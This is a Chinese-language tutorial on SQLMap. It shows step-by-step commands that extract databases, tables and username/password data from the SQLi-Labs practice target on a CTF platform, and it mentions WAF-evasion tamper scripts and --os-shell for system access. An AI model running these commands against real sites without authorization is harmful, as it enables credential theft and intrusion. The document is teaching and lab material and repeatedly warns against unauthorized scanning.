目录
此文章只用作教学目的,不可再未经他人同意的情况下去扫描别人的网站。
一、简介
SQLMap是一款自动化SQL注入工具,支持检测和利用多种数据库(如MySQL、Oracle、SQL Server等)的注入漏洞,能够获取数据库信息、文件系统访问权限甚至执行操作系统命令。
其核心功能包括:
- 自动化检测注入点:自动识别GET/POST参数、Cookie等位置的注入漏洞。
- 数据提取:获取数据库名、表、字段及数据。
- 绕过WAF:通过篡改脚本绕过Web应用防火墙的检测 。
- 操作系统交互:获取Shell权限或执行远程命令 。
二、基础使用
2.1 Sqli-Labs使用
此处使用SQL靶场来进行演示,SQL靶场的部署会在下一篇进行教学,如果要进行时间的话,可以在天狩CTF竞赛平台进行使用。
点击SQLi-Labs进行使用。SQLi-Labs是一个SQL注入靶场,使用靶场之前需要点击Setup/reset Database for labs进行安装环境。
完成环境配置之后就可以进入关卡了。
2.2 Sqlmap安装
进入第一关后,直接启动Sqlmap来扫描网站,查看是否存在SQL注入漏洞。具体命令如下:
我是直接将Sqlmap安装在Windows上了,在Windows上,Sqlmap的运行要依靠python环境。
安装过程如下:
1、在网上下载Sqlmap的安装包,进行安装之后,如下:
2、在这个页面输入cmd启动命令行窗口,如下:
回车运行。
3、在命令行中输入以下命令来运行Sqlmap,如下:
python sqlmap.py
出现这个页面说明运行成功了,接下来就可以进行使用了。
这是在Windows上,在kali系统中,默认安装了这个工具,直接使用就行。直接输入sqlmap,出现这个说明启动成功。
2.3 Sqlmap使用
2.3.1 找寻注入点
-u
参数,指定需要检测的url,单/双引号包裹。中间如果有提示,就输入y,如果不想这么麻烦,也可以在后面输入--batch ,这可以在后面的提示中默认为y。
SQLmap不能直接「扫描」网站漏洞,先用其他扫描工具扫出注入点,再用SQLmap验证并「利用」注入点。
python sqlmap.py -u http://challenge.qsnctf.com:30736/Less-1/?id=1 --batch
其中,我们发现了如下信息。
接下来,我们进行漏洞利用。
2.3.2 获取数据库
#获取所有数据库
python sqlmap.py -u http://challenge.qsnctf.com:30736/Less-1/?id=1 --dbs
#获取当前使用的数据库
python sqlmap.py -u http://challenge.qsnctf.com:30736/Less-1/?id=1 --current-db
所有数据库
当前数据库,当前数据库为security。
2.3.3 获取表
--tables 获取表,可以指定数据库,也可以列出所有的表。
#列出所有表
python sqlmap.py -u http://challenge.qsnctf.com:30736/Less-1/?id=1 --tables
#获取当前数据库的表
python sqlmap.py -u http://challenge.qsnctf.com:30736/Less-1/?id=1 -D 数据库名 -tables
所有表,会自动以不同数据库来排列
当前数据库中的表,扫描出了5个表。
2.3.4 获取字段
--columns
参数用来获取字段。
来指定获取哪个数据库的哪个表中的字段。
python sqlmap.py -u http://challenge.qsnctf.com:30736/Less-1/?id=1 -D 数据库名 -T 表名 --columns
扫描security 中的users表中的表名,结果如下:
2.3.5 获取数据
--dump
获取值,也就是表中的数据。可以指定具体的库、表、字段。
例:获取security数据库中users表里的username和password的数据。
python sqlmap.py -u http://challenge.qsnctf.com:30736/Less-1/?id=1 -D 'security' -T 'users' -C 'username,password' --dump
获取到之后,下面会出现一个地址,那就是数据存放的地址。
2.3.6 其他
--batch (默认确认)不再询问是否确认。
--method=GET 指定请求方式(GET/POST)
--random-agent 随机切换UA(User-Agent)
--user-agent ' ' 使用自定义的UA(User-Agent)
--referer ' ' 使用自定义的 referer
--proxy="127.0.0.1:8080" 指定代理
--threads 10 设置线程数,最高10
--level=1 执行测试的等级(1-5,默认为1,常用3)
--risk=1 风险级别(0~3,默认1,常用1),级别提高会增加数据被篡改的风险。
三、总结
基础使用通过 -u
指定目标 URL,配合 --dbs
、--tables
、--dump
逐步提取数据;高级技巧涵盖处理 POST 请求(--data
)、Cookie 注入(--cookie
)、盲注(--technique=B/T
)及代理隐藏(--proxy
)。实战中可通过 --os-shell
获取系统权限,或结合 --tamper=space2comment
绕过安全设备。
本文的介绍比较基础,下期会进行高阶版使用教程。
注意:不可再未经授权的情况下,扫描他人的网站进行测试。